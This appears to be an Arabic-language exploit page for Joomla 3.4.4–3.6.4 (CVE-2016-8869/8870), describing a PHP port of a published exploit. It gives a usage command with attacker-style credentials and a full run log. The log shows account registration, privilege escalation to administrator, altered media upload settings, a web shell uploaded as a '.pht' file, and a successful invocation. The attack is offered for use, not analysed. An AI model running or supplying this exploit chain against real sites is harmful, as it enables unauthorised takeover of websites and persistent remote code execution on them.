استغلال لـ Joomla 3.4.4 - 3.6.4 (CVE-2016-8869 و CVE-2016-8870) مع رفع شيل ويب عبر الملفات

هذه نسخة PHP منقولة، الكود المصدري الأصلي بلغة بايثون مقدم من @link https://github.com/XiphosResearch/exploits/tree/master/Joomraa

الاستخدام: php exploit.php --username hacker -p password -e [email protected] http://localhost:9994/

[0.000] جارٍ الإقلاع... [0.000] الضحية هي http://localhost:9994 [0.000] [-] جارٍ الحصول على التوكن [0.464] ..جلب | GET | /index.php/component/users/?view=login | 200 [0.464] Token | 6cebed4c64eae7e8915b0bc7e0ca354e [0.464] [-] جارٍ إنشاء حساب المستخدم [0.760] ..جلب | POST | /index.php/component/users/?task=user.register | 303 [0.760] [!] لم يتم إنشاء الحساب أو أنه موجود بالفعل [0.760] [-] جارٍ الحصول على التوكن لتسجيل دخول المسؤول [1.113] ..جلب | GET | /administrator/index.php | 200 [1.113] Token | af3c362c9aa19347451656d2d24b79f2 [1.113] [-] جارٍ تسجيل الدخول إلى المسؤول [2.368] ..جلب | POST | /administrator/index.php | 200 [2.368] [+] تم تسجيل دخول المسؤول بنجاح! [2.368] [+] جارٍ الحصول على خيارات الوسائط [3.221] ..جلب | GET | /administrator/index.php?option=com_config&view=component&component=com_media&path= | 200 [4.470] ..جلب | POST | /administrator/index.php?option=com_config | 200 [4.470] [] رفع الشيل [5.329] ..جلب | GET | /administrator/index.php?option=com_media&folder= | 200 [5.330] [-] جارٍ رفع الاستغلال إلى | /images/1k8iusc.pht [6.415] ..جلب | POST | http://localhost:9994/administrator/index.php?option=com_media&task=file.upload&tmpl=component&ed5766f9587758a07f90d6b1ba846723=r2pci9ua7bao40na38foiq7da7&b5dab50228f1e955bae66d8950cc29a7=1&format=html | 200 [6.415] [] استدعاء الاستغلال [6.417] ..جلب | GET | /1.php | 200 [6.417] [$] الاستغلال ناجح!